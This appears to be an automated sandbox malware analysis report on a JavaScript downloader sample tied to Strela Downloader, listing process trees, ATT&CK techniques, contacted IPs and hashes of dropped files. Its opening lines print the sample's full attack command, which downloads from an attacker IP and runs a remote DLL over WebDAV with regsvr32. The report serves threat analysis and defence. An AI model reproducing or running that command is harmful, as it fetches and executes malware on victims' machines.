Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1584816627285206777.js	5%	Virustotal		Browse
1584816627285206777.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3347743369.000001D8D7800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2108741050.000001D8D7750000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000003.2107409980.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000007.00000002.2111323657.0000027ED6C58000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/C	net.exe, 00000007.00000003.2107409980.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C87000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000003.2107409980.0000027ED6C93000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2111365466.0000027ED6C93000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587983
Start date and time:	2025-01-10 20:05:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1584816627285206777.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.22.50.144, 2.22.50.131, 23.209.209.135, 2.16.168.107, 2.16.168.105, 4.245.163.56, 13.107.253.45, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:06:44	API Interceptor	22x Sleep call for process: powershell.exe modified
14:06:49	API Interceptor	1x Sleep call for process: net.exe modified
14:06:49	API Interceptor	2x Sleep call for process: svchost.exe modified
14:07:02	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307182494114085
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugU:gJjJGtpTq2yv1AuNZRY3diu8iBVqFq
MD5:	9EB37A789FF1AACB372D4A110CF9C934
SHA1:	03682C91C9EDB46845692D66F8146AD0B722D5C6
SHA-256:	3DCDAF71D389C9F65BBF2B8D54BEEC90A6EC3757AF0690D63024B2D3C4CD9A3C
SHA-512:	5C66B95C80151B260FBE95552DD88BBD801540CB07ECE416933968F6C6771E05F873F67578EAE0E7F751942DB7B3106454661CB24BC5B85658923D01AEB53C91
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x60d0ad9f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585745366115263
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Baza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	95852DF960474BAB8EA55D1DD4362ABA
SHA1:	AFC45FE53EC728838F78A0BDEF7286FD4D1A78BC
SHA-256:	EC0356CB7EA4F8553D7E857191F072E2F5960D168D237236B6F379968876B451
SHA-512:	ABB067732C4B2C3CA664550885B372BFFD9F9D7570685ED9662E2E3616AEB877D65E74EDBF93C0E91F48F6936E1AB704DC40C6443D75FBB3701CB5A8C517F12E
Malicious:	false
Preview:	`..... ...............X\...;...{......................0.z..........{..1....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................#.1....}Y.................\|.5.1....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08104037160020645
Encrypted:	false
SSDEEP:	3:plKYejdYUrbGuAJkhvekl1lQojIk7llAllrekGltll/SPj:LKzjdfrxlwo0khlAJe3l
MD5:	994292C9EDEEBA7F1FDAED69AD64FF8E
SHA1:	CE2A8B1A2DB94EAEDE3AE1655A3D2D2A9C66BA48
SHA-256:	9320C47725BD73C5109C97513DF478940A99E0F1341F93A72EAEB376505F4B61
SHA-512:	0B3AEF3BCA54E2DD694A62430A3181C6445A09DF3E47B8101406753D914D302BC534184137932625191423A8E9DF046B0D6BBCCCD4C348509D91C1FCA2BA01D0
Malicious:	false
Preview:	.S.......................................;...{..1....}.......{...............{.......{...XL......{..................\|.5.1....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1632242932263415
Encrypted:	false
SSDEEP:	6:iO4ML3uw34q2P92nKuAl9OmbnIFUtSMLBH/3JZmwsMLBCXDkwO92nKuAl9OmbjLJ:7J3uC4v4HAahFUt7Bf3J/FBCXD5LHAae
MD5:	1F1D53D4B76AF99DC43D87CF859CEE02
SHA1:	D54995619E70DC47CAD281DF188640F652D04C4D
SHA-256:	F51F1083099EEEBBBA79F13B05DBBD17753FD4EF6D9B55E64AB200050E9D3B03
SHA-512:	43962985E1186C9175719817C846E96D172B7BA147C9A599A65126F41A1A23EFB6187657683AE25097C77759177D834626364185A90D789813FF92FE1E8BBB03
Malicious:	false
Preview:	2025/01/10-14:06:49.507 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:06:49.510 1c20 Recovering log #3.2025/01/10-14:06:49.513 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1632242932263415
Encrypted:	false
SSDEEP:	6:iO4ML3uw34q2P92nKuAl9OmbnIFUtSMLBH/3JZmwsMLBCXDkwO92nKuAl9OmbjLJ:7J3uC4v4HAahFUt7Bf3J/FBCXD5LHAae
MD5:	1F1D53D4B76AF99DC43D87CF859CEE02
SHA1:	D54995619E70DC47CAD281DF188640F652D04C4D
SHA-256:	F51F1083099EEEBBBA79F13B05DBBD17753FD4EF6D9B55E64AB200050E9D3B03
SHA-512:	43962985E1186C9175719817C846E96D172B7BA147C9A599A65126F41A1A23EFB6187657683AE25097C77759177D834626364185A90D789813FF92FE1E8BBB03
Malicious:	false
Preview:	2025/01/10-14:06:49.507 1c20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:06:49.510 1c20 Recovering log #3.2025/01/10-14:06:49.513 1c20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1731293855328575
Encrypted:	false
SSDEEP:	6:iO4MLDu4q2P92nKuAl9Ombzo2jMGIFUtSMLDzBJZmwsML1DkwO92nKuAl9Ombzos:7JZv4HAa8uFUt7nr/F95LHAa8RJ
MD5:	527EFC9164F8B1CB02DC62A0B741771D
SHA1:	C8BBC2AECE04BE1FECCC7179C203AB458AA6D57E
SHA-256:	09CD36015B80831C181E83E27F7BDC2E0BC5C18B98DEE02C006F2884FB860518
SHA-512:	451262B672F7EDF25656062CB75C47BF928377F946B3219EA9401DEF2F79A864378E3DE7AF549EA841B9FB1383E397E99CA58B13204D6F635178A2C25E982616
Malicious:	false
Preview:	2025/01/10-14:06:49.538 1d04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:06:49.539 1d04 Recovering log #3.2025/01/10-14:06:49.540 1d04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1731293855328575
Encrypted:	false
SSDEEP:	6:iO4MLDu4q2P92nKuAl9Ombzo2jMGIFUtSMLDzBJZmwsML1DkwO92nKuAl9Ombzos:7JZv4HAa8uFUt7nr/F95LHAa8RJ
MD5:	527EFC9164F8B1CB02DC62A0B741771D
SHA1:	C8BBC2AECE04BE1FECCC7179C203AB458AA6D57E
SHA-256:	09CD36015B80831C181E83E27F7BDC2E0BC5C18B98DEE02C006F2884FB860518
SHA-512:	451262B672F7EDF25656062CB75C47BF928377F946B3219EA9401DEF2F79A864378E3DE7AF549EA841B9FB1383E397E99CA58B13204D6F635178A2C25E982616
Malicious:	false
Preview:	2025/01/10-14:06:49.538 1d04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:06:49.539 1d04 Recovering log #3.2025/01/10-14:06:49.540 1d04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.064657227395731
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2HpAcaq3QYiubxnP7E4T3OF+:Y2sRdsedMHN3QYhbxP7nbI+
MD5:	CB957F21B749195005FC89FC9C2DEA76
SHA1:	D7FB8D66F84C3CE5FDD3B10DA497CE692F2FCB7D
SHA-256:	4BBE6FAD01BFA493901A59EFBD1A1B916B93775B8DF76D6B5B27092AC3FC9D19
SHA-512:	AD77A2118F0EA8D5AD6D0C45BC5E9FFB8E5E10C117DAFA56812C35E83F58401B46BF1CF5ACDBE1ED952A67F82C01EE31A4529A564A2CC23E507C21A1097D37BC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096022000795","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":147909},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bc39510c-2f89-45ba-ba0f-be931c775a86.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.064657227395731
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWsBdOg2HpAcaq3QYiubxnP7E4T3OF+:Y2sRdsedMHN3QYhbxP7nbI+
MD5:	CB957F21B749195005FC89FC9C2DEA76
SHA1:	D7FB8D66F84C3CE5FDD3B10DA497CE692F2FCB7D
SHA-256:	4BBE6FAD01BFA493901A59EFBD1A1B916B93775B8DF76D6B5B27092AC3FC9D19
SHA-512:	AD77A2118F0EA8D5AD6D0C45BC5E9FFB8E5E10C117DAFA56812C35E83F58401B46BF1CF5ACDBE1ED952A67F82C01EE31A4529A564A2CC23E507C21A1097D37BC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096022000795","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":147909},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.234996338497877
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUZKLm7:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLa
MD5:	5C9CD8E62A8DB910CAEA2DF3517242C1
SHA1:	7144246C44AAD4E4AC268293A26C71383EAA5E73
SHA-256:	EEA2E62C694CB491A7F5F24FCD751A9C0FDF113A2845A9B86C52EDFF1DA418CB
SHA-512:	55ED2DAFA9BB2AB2B0E4DF618C689FDEECEF6228A6CDCA25E58A0A864E90556EDBAAEC6A7ADCE5DD7B53E104F4BDE57E9E017CB616D0F18A6A6AF2C13F88B9B8
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.183099224910567
Encrypted:	false
SSDEEP:	6:iO4MLJtN4q2P92nKuAl9OmbzNMxIFUtSMLhzBJZmwsMLrDkwO92nKuAl9OmbzNMT:7JKv4HAa8jFUt7hzr/Fv5LHAa84J
MD5:	510BBA6ED2E01242D0792D07AC514DF5
SHA1:	BE5DEB9EB4B05E03FB6DB60582546E28B031D909
SHA-256:	B7F764426EEFAFA662816C5FB669AE3F527E74368E8348C7CEF68B8FCCBC8E5D
SHA-512:	5E1619FE901BE3BAA2CC1B2FA2A59B04CECC2C49025512976B75F3A6DC2757C321CF44B5DAF3CC7607103227E1B2F5E4B7241FEFB434D56F5E41D30AD246686B
Malicious:	false
Preview:	2025/01/10-14:06:49.948 1d04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:06:49.959 1d04 Recovering log #3.2025/01/10-14:06:49.964 1d04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.183099224910567
Encrypted:	false
SSDEEP:	6:iO4MLJtN4q2P92nKuAl9OmbzNMxIFUtSMLhzBJZmwsMLrDkwO92nKuAl9OmbzNMT:7JKv4HAa8jFUt7hzr/Fv5LHAa84J
MD5:	510BBA6ED2E01242D0792D07AC514DF5
SHA1:	BE5DEB9EB4B05E03FB6DB60582546E28B031D909
SHA-256:	B7F764426EEFAFA662816C5FB669AE3F527E74368E8348C7CEF68B8FCCBC8E5D
SHA-512:	5E1619FE901BE3BAA2CC1B2FA2A59B04CECC2C49025512976B75F3A6DC2757C321CF44B5DAF3CC7607103227E1B2F5E4B7241FEFB434D56F5E41D30AD246686B
Malicious:	false
Preview:	2025/01/10-14:06:49.948 1d04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:06:49.959 1d04 Recovering log #3.2025/01/10-14:06:49.964 1d04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

